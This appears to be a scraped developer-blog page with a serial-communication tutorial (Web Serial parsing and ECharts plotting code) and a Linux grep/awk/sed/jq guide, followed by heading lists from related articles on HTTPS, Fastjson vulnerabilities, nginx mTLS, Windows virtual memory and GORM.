        parseSerialData(rawData);  // Parse data
    }
}

Step 2: Protocol Parsing (Corresponding to the Custom Protocol in Section 2.2)

let parseState = "WAIT_SOF";
let dataBuf = [];
let dataLen = 0;
let dataIdx = 0;
let crcCalc = 0;

function parseSerialData(rawData) {// Convert raw string (e.g., "AA 04 00 1E 00 3C 58") to byte array
    const bytes = rawData.split(" ")
                         .map(hex => parseInt(hex, 16))
                         .filter(byte => !isNaN(byte));

    bytes.forEach(byte => {switch(parseState) {
            case "WAIT_SOF":
                if (byte === 0xAA) {
                    parseState = "GET_LEN";
                    crcCalc = byte;
                    dataBuf = [];
                }
                break;
            case "GET_LEN":
                dataLen = byte;
                crcCalc ^= byte;
                if (dataLen > 0 && dataLen <= 60) {
                    parseState = "GET_DATA";
                    dataIdx = 0;
                } else {parseState = "WAIT_SOF";}
                break;
            case "GET_DATA":
                dataBuf.push(byte);
                crcCalc ^= byte;
                if (dataIdx++ === dataLen - 1) {parseState = "GET_CRC";}
                break;
            case "GET_CRC":
                if (byte === crcCalc) {// Extract temperature and humidity (assume data segment: [temp_high, temp_low, humi_high, humi_low])
                    const temp = (dataBuf[0] << 8 | dataBuf[1]) / 10.0;
                    const humi = (dataBuf[2] << 8 | dataBuf[3]) / 10.0;
                    updateChart(temp, humi);  // Update chart
                }
                parseState = "WAIT_SOF";
                break;
        }
    });
}

Step 3: Real-Time Chart Rendering with ECharts

// Initialize chart
function initChart() {const chartDom = document.getElementById('serial-chart');
    chart = echarts.init(chartDom);

    const option = {title: { text: 'Real-Time Temperature & Humidity Monitoring'},
        tooltip: {trigger: 'axis'},
        legend: {data: ['Temperature (°C)', 'Humidity (%)'] },
        xAxis: {
            type: 'time',
            splitLine: {show: false},
            axisLabel: {formatter: '{hh}:{mm}:{ss}' }  // Time format
        },
        yAxis: [
            {name: 'Temperature (°C)', type: 'value', min: 0, max: 50 },
            {name: 'Humidity (%)', type: 'value', min: 0, max: 100, position: 'right' }
        ],
        series: [
            {name: 'Temperature (°C)',
                type: 'line',
                data: [],
                smooth: true,  // Smooth curve
                yAxisIndex: 0
            },
            {name: 'Humidity (%)',
                type: 'line',
                data: [],
                smooth: true,
                yAxisIndex: 1,
                lineStyle: {color: '#ff4500'}
            }
        ]
    };
    chart.setOption(option);
}

// Update chart data
function updateChart(temp, humi) {const now = new Date();
    const timeStr = now.toISOString();  // Timestamp

    const option = chart.getOption();
    // Limit number of data points (retain only last 10 minutes of data)
    if (option.series[0].data.length > 600) {option.series[0].data.shift();
        option.series[1].data.shift();}
    // Add new data
    option.series[0].data.push([timeStr, temp]);
    option.series[1].data.push([timeStr, humi]);
    chart.setOption(option);
}

Practical Application: The above logic can be integrated into online serial tools (e.g., browsers supporting the Web Serial API). No local development environment is required—simply open the browser to complete the entire workflow of “serial connection → protocol parsing → real-time plotting,” eliminating the need to rewrite basic code repeatedly.

IV. Common Serial Debugging Issues and Solutions

Even with a solid grasp of technical principles, you may encounter various issues during debugging. Below is a troubleshooting guide for high-frequency problems:

4.1 Garbled Received Data: Parameter Mismatch or Voltage Issues

Troubleshooting Step 1: Confirm that the baud rate, data bits, stop bits, and parity bit exactly match the device (mismatched baud rates are the most common cause).

Troubleshooting Step 2: Check if TX/RX pins are reversed (connect device TX to USB module RX, and device RX to USB module TX).

Troubleshooting Step 3: For 3.3V devices, verify that the USB module’s output voltage is compatible (avoid damaging 3.3V devices with 5V levels).

4.2 Data Loss or Sticking: Protocol Design or Hardware Issues

Software Layer: Optimize protocol parsing logic (e.g., use a state machine) and add a timeout reset mechanism.
Hardware Layer: Check for loose wiring (shielded cables are recommended to reduce interference) and lower the baud rate (high baud rates are prone to interference-induced data loss).
Protocol Layer: If data is sent at a high frequency, add a frame trailer identifier or adopt “fixed frame intervals” (e.g., 10ms between frames) for transmission.

V. Advanced Application Scenarios of Serial Communication: Beyond “Debugging”

Serial communication is not limited to “viewing device logs”—in IoT and industrial control, it also plays a core role in data collection and device control. Below are typical advanced scenarios:

5.1 Multi-Device Serial Networking: Application of RS485 Bus

When multiple serial devices (e.g., multiple sensors, multiple controllers) need to be connected, simplex UART (TX/RX) cannot meet the demand. Instead, the RS485 bus is commonly used for multi-device communication:

Hardware Principle: RS485 uses differential signal transmission (two signal lines: A and B), offering far stronger anti-interference capabilities than UART. It supports transmission distances up to 1200 meters and can connect up to 32 devices on the same bus.
Communication Mode: Adopts a “master-slave mode,” where the master distinguishes between different slaves via device addresses (e.g., the master sends “0x01 + command,” and only the slave with address 0x01 responds).
Protocol Adaptation: Most RS485 devices still communicate based on serial protocols (e.g., Modbus-RTU protocol). Only an “equipment address” field needs to be added to the serial parameters to enable multi-device interaction.

Tool Assistance: When debugging RS485 networked devices, use the “multi-device address configuration” plugin of online serial assistants to quickly switch target device addresses, send commands, and receive responses—no need to manually modify address parameters in the code.

5.2 Serial-to-Network Bridging: Enabling Remote Device Monitoring

In IoT scenarios, remote monitoring of serial devices (e.g., sensors in factory workshops, monitoring devices in remote areas) is often required. This is typically achieved using “serial-to-network” modules (e.g., ESP8266, ESP32):

Implementation Logic: The module connects to the serial device via UART, converts serial data into TCP/UDP network data, and uploads it to the cloud via WiFi or Ethernet.
Data Interaction: A remote terminal (e.g., computer, mobile APP) sends commands to the module over the network. The module converts the commands into serial data and sends them to the device, while transmitting the device’s response data back to the remote terminal.
Protocol Selection: For low power consumption, the MQTT protocol is suitable for data transmission (adapted to IoT scenarios); for real-time performance, direct TCP connection is preferred.

Debugging Tip: Use the “network serial bridging” function of online serial assistants to connect directly to a remote TCP server via a browser, receive network data from serial devices, and visualize it in real time—no need to deploy complex network debugging tools locally.

5.3 Serial Data Storage and Playback: Retracing Debugging Processes

In scenarios such as device stability testing or fault diagnosis, serial data needs to be recorded and played back for post-analysis. The traditional method—saving data as a TXT file via serial tools and analyzing it manually—is inefficient:

Efficient Solution: Online serial assistants support saving serial data as JSON files in the format of “timestamp + data content,” including raw data, parsed data, and chart data.
Data Playback: During playback, the tool plays back data frame by frame at the original time interval, synchronously updating charts and parsing results to simulate real communication processes and quickly locate data anomalies when faults occur.
Data Filtering: Supports filtering data by time range and data type (e.g., commands, responses, abnormal data) to focus on key debugging nodes.

VI. Optimization of Serial Protocols: Improving Communication Efficiency and Reliability

As device complexity increases, basic “header + length + data + checksum” protocols may no longer meet requirements. Protocol design needs to be optimized in the following dimensions:

6.1 Data Compression: Reducing Bandwidth Usage

When serial devices transmit large volumes of data (e.g., continuous waveform data collected by sensors), uncompressed data occupies significant bandwidth and causes transmission delays:

Compression Algorithm Selection: For data with large repetitions (e.g., consecutive 0x00), Run-Length Encoding (RLE) is suitable; for numerical data (e.g., temperature, voltage), differential encoding (storing the difference between adjacent data points) is preferred.
Protocol Adaptation: Add a “compression flag” field (1 bit) to the protocol to indicate whether data is compressed. The receiver decides whether to decompress based on the flag.
Example: For continuous temperature data “25.1, 25.2, 25.1, 25.3,” differential encoding converts it to “25.1, +0.1, -0.1, +0.2,” reducing data length.

Tool Support: The “data compression/decompression” plugin of online serial assistants can automatically identify compression flags, decompress data in real time, and visualize it—no manual compression handling is required.

6.2 Batch Transmission of Multiple Commands: Improving Control Efficiency

When controlling multiple devices or performing complex operations, multiple serial commands need to be sent. Manual one-by-one transmission is time-consuming and error-prone:

Batch Transmission Solution: Design a “batch command packet” protocol, where multiple commands are concatenated in the format of “command length + command content.” A “batch flag” is added to the header, and the receiver parses and executes commands one by one.
Command Priority: Add a “priority” field (e.g., levels 0–3) to batch commands. The receiver executes commands by priority to ensure critical commands (e.g., emergency stop commands) are executed first.
Execution Feedback: After executing each command, the receiver returns “execution results” (success/failure + error code). The master determines whether to proceed to the next command based on the feedback.

Operational Convenience: Online serial assistants support importing batch command files (TXT/JSON format), setting command transmission intervals (e.g., 100ms per command), automatically sending commands, recording feedback results for each command, and generating execution reports.

6.3 Fault Tolerance Mechanisms: Addressing Communication Anomalies

Serial communication may experience anomalies due to interference or disconnection. Fault tolerance mechanisms need to be added to the protocol:

Retransmission Mechanism: If the master does not receive a response within the timeout period (e.g., 100ms) after sending a command, it automatically retransmits the command (retransmission times can be set, e.g., 3 times) to avoid communication failure caused by single interference.
Data Backup: Before executing a command, the receiver backs up critical data (e.g., device parameters). If command execution fails (e.g., checksum error), it restores the backup data to prevent abnormal device status.
Heartbeat Packets: The master and device send heartbeat packets (e.g., “0xAA 0x01 0x00 0xAA”) at regular intervals (e.g., 1 second). If the master does not receive a heartbeat packet for 3 consecutive times, it determines the device is offline and triggers an alarm mechanism.

Debugging Assistance: The “communication fault tolerance test” function of online serial assistants can simulate abnormal scenarios such as data loss, interference, and disconnection, test the device’s fault tolerance, and record communication data when anomalies occur to help optimize the protocol’s fault tolerance logic.

VII. Conclusion: Technological Evolution of Serial Communication and Tool Empowerment

Serial communication has evolved from the original RS232 protocol (suitable for short-distance, single-device communication) to the RS485 protocol (suitable for long-distance, multi-device communication), and further to integration with networks and the cloud. It remains a core communication method in embedded systems and IoT. Its technical core lies in “reasonable protocol design” and “efficient data processing,” while tools add value by lowering technical barriers and improving debugging efficiency.

As a web-based tool, online serial assistants not only solve the pain points of traditional tools (e.g., “installation dependencies,” “limited functionality”) but also adapt to full-scenario needs from basic debugging to advanced applications through plugin systems, data visualization, and network bridging:

For Novice Engineers: No in-depth mastery of low-level code is required—serial connection, data parsing, and chart analysis can be completed via a visual interface.
For Senior Engineers: Custom plugins and protocol optimization are supported, enabling rapid verification of complex communication logic and fault tolerance mechanisms.
For Team Collaboration: Data files, plugins, and debugging reports can be shared online, reducing debugging costs across devices and environments.

In the future, with the development of IoT technology, serial communication will be further integrated with edge computing and AI analysis (e.g., real-time analysis of abnormal patterns in serial data via AI algorithms). Online serial assistants will also continue to iterate, adapting to more complex scenarios and providing more efficient technical support for engineers.

If you encounter specific problems in serial communication practice or need to optimize protocol design, feel free to share your scenarios in the comment section—we can discuss solutions together. You can also use the “technical community” function of online serial assistants to exchange experiences with other engineers and jointly promote the application and innovation of serial communication technology.

Linux Text Processing: Master grep, awk, sed & jq for Developers

Tiger Smith — Thu, 30 Oct 2025 06:49:31 +0000

Learn how to use grep, awk, sed, and jq for efficient Linux text processing. This practical guide covers syntax, real-world examples, and best practices for sysadmins, developers, and data engineers.

Source of the article:Linux Text Processing: Master grep, awk, sed & jq for Developers

If you’ve spent any time working in Linux, you know text processing is non-negotiable. Whether you’re parsing gigabytes of server logs, extracting insights from CSV files, automating config edits, or wrangling JSON from APIs—you need tools that work fast and flexibly.

The good news? Linux comes with four built-in powerhouses: grep, awk, sed, and jq. Each has a unique superpower, but together they handle 90% of text-related tasks. In this guide, we’re skipping the dry theory and focusing on what you can actually use today. Let’s dive in.

Introduction to Linux Text Processing Tools

Text processing in Linux boils down to four core tasks: searching, extracting, editing, and parsing structured data. These tools are lightweight, pre-installed on most distributions, and designed for command-line efficiency. Here’s a quick breakdown of their roles:

grep: The “search master” for finding patterns in text
awk: The “data wizard” for extracting and calculating from structured text
sed: The “stream editor” for batch text modifications
jq: The “JSON hero” for filtering and transforming JSON data

1. grep: Find Text Like a Pro

grep (short for Global Regular Expression Print) is your first stop for locating lines that match a pattern. It’s lightning-fast, even on large files, and supports regular expressions for granular searches.

Key Features

Works with basic and extended regular expressions
Searches recursively through directories
Offers case-insensitive, line numbering, and inverse match options

Practical Examples

Basic Search: Find all “ERROR” entries in a log file:

grep "ERROR" server.log

Case-Insensitive + Line Numbers: Catch “error” or “Error” with line numbers:

grep -i -n "error" server.log

Recursive Search: Find “TODO” comments in all Python files:

grep -r "TODO" *.py

Invert Match: Show lines that don’t contain “DEBUG” (great for filtering noise):

grep -v "DEBUG" server.log

2. awk: Extract & Analyze Structured Data

awk isn’t just a tool—it’s a mini-programming language for text. It excels at processing line-by-line structured data (like CSVs or logs with fixed fields) by splitting lines into columns and applying logic.

Key Features

Splits lines into customizable fields (default: whitespace)
Supports conditionals, loops, and arithmetic
Uses BEGIN/END blocks for setup/teardown tasks

Practical Examples

Extract CSV Fields: Print names and cities from users.csv (columns: name,age,city):

awk -F',' '{print $1", "$3}' users.csv

Output:

Alice, New York
Bob, London
Charlie, Paris

Conditional Filtering: List users older than 30:

awk -F',' '$2 > 30 {print $1}' users.csv

Calculate Totals: Sum all ages in the CSV:

awk -F',' '{sum += $2} END {print sum}' users.csv

3. sed: Batch Edit Text Streams

sed (Stream Editor) is built for modifying text without opening files. It’s perfect for find-and-replace, deleting lines, or inserting content—especially in scripts.

Key Features

Performs in-place edits or outputs to the terminal
Uses regex for pattern matching
Non-interactive (ideal for automation)

Practical Examples

Find-and-Replace: Replace “ERROR” with “WARNING” in server.log (preview first):

sed 's/ERROR/WARNING/g' server.log

In-Place Edit: Modify the file directly (add .bak to create a backup: -i.bak):

sed -i 's/ERROR/WARNING/g' server.log

Delete Lines: Remove all lines containing “DEBUG”:

sed '/DEBUG/d' server.log

4. jq: Tame JSON Data

With APIs and JSON configs everywhere, jq is a must-have for parsing JSON in the command line. It turns messy JSON into readable output and lets you filter/transform data with simple syntax.

Key Features

Queries nested JSON objects/arrays
Supports filtering, mapping, and aggregation
Formats output for readability

Practical Examples

Given data.json:

[
  {"name": "Alice", "age": 25, "city": "New York"},
  {"name": "Bob", "age": 30, "city": "London"},
  {"name": "Charlie", "age": 35, "city": "Paris"}
]

Extract Names: Get all names from the JSON array:

jq '.[].name' data.json

Filter by Age: Find users older than 30:

jq '.[] | select(.age > 30) | .name' data.json

Combining Tools: Real-World Pipelines

The real magic happens when you chain these tools with Linux pipes (|). Here are two common workflows:

Example 1: Analyze Web Server Logs

Extract IPs and URLs from 404 errors in access.log:

grep "404" access.log | awk '{print $1, $7}'

Example 2: Transform JSON Logs

Filter /api endpoints and replace status “200” with “OK” in api.log:

jq '.[] | select(.endpoint | startswith("/api"))' api.log | sed 's/"status": 200/"status":"OK"/g'

Pro Tips for Mastery

Test Regex Incrementally: Complex patterns break easily—test parts first with grep -E (extended regex).
Backup Before Editing: Always use sed -i.bak to create backups, or test commands without -i first.
Learn Common Flags: grep: -i (case-insensitive), -r (recursive)
awk: -F (field separator), END (final action)
sed: s/pattern/replace/g (global replace)
jq: .[] (iterate arrays), select() (filter)

man Use Pages: man grep or man jq has deep docs for edge cases.

Final Thoughts

grep, awk, sed, and jq aren’t just “tools”—they’re time-savers that turn tedious text tasks into one-liners. The more you experiment with them (start small: parse a log, edit a CSV), the more they’ll become second nature.

What’s your go-to text processing workflow? Drop a comment below—we’d love to hear how you use these tools in your projects!

DEV Community: Tiger Smith

HTTP vs HTTPS vs SSL/TLS: A Comprehensive Guide to Web Security Protocols (with HTTPS Deployment Steps)

I. HTTP: The “Bare” Foundation of Internet Data Transmission

1.1 The “Request-Response” Workflow of HTTP (Taking Access to tools.devresourcehub.com as an Example)

1.2 Three Fatal Flaws of HTTP (Still Plaguing Some Websites Today)

II. SSL/TLS: The “Security Shield” of HTTPS, Current Mainstream Algorithms

2.1 Core Technology: The “Golden Combination” of Symmetric and Asymmetric Encryption

2.2 TLS 1.3 Handshake Process (Optimized Version with Only 2 Interactions)

2.3 Essential Differences Between SSL/TLS Handshake and TCP Three-Way Handshake

III. HTTPS: The Secure Upgrade of HTTP, From Principles to Deployment

3.1 Why HTTPS Is Indispensable Today: Four Core Values

3.2 Full HTTPS Communication Process (From URL Entry to Webpage Rendering)

3.3 Practical HTTPS Deployment Guide (Beginner-Friendly)

IV. Common Misconceptions: Pitfalls to Avoid with HTTPS

Q1: Does HTTPS Use Asymmetric Encryption for All Data Transmission?

Q2: Is HTTPS 100% Secure?

Q3: Are Free Certificates Less Secure Than Paid Ones?

V. Conclusion: The Evolution and Future of Web Security Protocols

Deep Dive into Fastjson Deserialization Vulnerabilities: From Principles to Practical Defense

I. Core Principle of Fastjson Vulnerabilities: AutoType Mechanism Is the Root Cause

1.1 How the AutoType Mechanism Works

1.2 Key Exploit Chain for Vulnerabilities

II. Practical Guide to Fastjson’s Key APIs: Serialization & Deserialization

2.1 Dependency Configuration (Vulnerable vs. Secure Versions)

2.2 Hands-On with Core APIs: Using the User Class

2.2.1 Serialization: Convert Java Objects to JSON

2.2.2 Deserialization: Convert JSON to Java Objects

III. Vulnerabilities & Bypass Techniques Across Versions: From 1.2.24 to 1.2.80

Key Bypass Analysis (Cache Poisoning in 1.2.47)

IV. Enterprise-Grade Defense Strategies: Block Vulnerabilities at the Source

1. Mandatorily Upgrade to Secure Versions

2. Disable the AutoType Mechanism (Critical Configuration)

3. Enable SafeMode (Completely Block AutoType)

4. Whitelist Configuration (If Absolutely Necessary)

V. Frequently Asked Questions (FAQ)

Q1: Why is Feature.SupportNonPublicField required for deserializing TemplatesImpl?

Q2: Why must @type be the first field in the JSON?

Q3: How to quickly check if a project uses a vulnerable Fastjson version?

Conclusion

NGINX Technical Practice: Configuration Guide for TCP Layer 4 Port Proxy and mTLS Mutual Encryption Authentication

1. Exploring the Technical Background

2. Nginx Proxy for TCP Layer 4 Ports

2.1 Preparation

2.2 Detailed Configuration Steps

2.3 Configuration Example Demonstration

3. Enabling mTLS Mutual Encryption Authentication

3.1 Analysis of mTLS Principles

3.2 Generating Certificates and Keys

3.2.1 Installing the CFSSL Tool

3.2.2 Generating the Root CA Certificate

3.2.3 Generating the Server Certificate

3.2.4 Generating the Client Certificate

3.2.5 Verifying Certificate Validity

3.3 Configuring mTLS

4. Configuration Verification and Testing

4.1 Checking Configuration Correctness

4.2 Testing Mutual Encryption Authentication

4.2.1 Testing a Valid Client Connection

4.2.2 Testing an Invalid Client Connection

5. Conclusion

Complete Guide to Windows Virtual Memory: From Principles to Practice, Fix Low Memory Lag Issues

1. What is Virtual Memory? Why is it Important for Windows?

Core Difference Comparison Between RAM and Virtual Memory (Hard Drive)

2. When Do You Need to Manually Set Virtual Memory? Isn’t Default Automatic Management Sufficient?

3. What’s the Right Size for Windows Virtual Memory? 2025 Latest Recommended Plan

Virtual Memory Setting Recommendations for Different RAM Capacities

Which Drive to Set Virtual Memory On? Tips for Maximizing Performance

4. 3 Methods to Set Windows Virtual Memory: GUI + Command Line + PowerShell

Method 1: Set via “System Properties” GUI (Most Common)

Method 2: Manage via WMIC Command Line (Suitable for Batch Operations)

Method 3: Set via PowerShell Script (Preferred for Advanced Users)

Common Issues: No Effect After Setting Virtual Memory? Avoid These Pitfalls

Pitfall 1: Virtual Memory Set on Mechanical Hard Drive

Pitfall 2: Large Gap Between Initial Size and Maximum Size

Pitfall 3: Severely Insufficient Physical Memory but Relying Only on Virtual Memory

Conclusion: The “Golden Rules” for Virtual Memory Settings

Practical Guide to Dynamic IP Blocking in Nginx

Common Solutions for Dynamic IP Blocking

Fail2ban Tool

Nginx Lua + Redis

2.2 Hands-On with Core APIs: Using the `User` Class

Q1: Why is `Feature.SupportNonPublicField` required for deserializing `TemplatesImpl`?

Q2: Why must `@type` be the first field in the JSON?

SQL Execution (Terminator Method `Find`)

`First`/`Take`/`Last` vs. `Find`

Using `Pluck` for Single-Field Queries

Using `map` to Update Zero Values

Using `Select` to Specify Update Fields

3.4 Safe Testing: The `DryRun` Feature

4.1 8-Hour Time Zone Discrepancy? Add `loc=Local` to DSN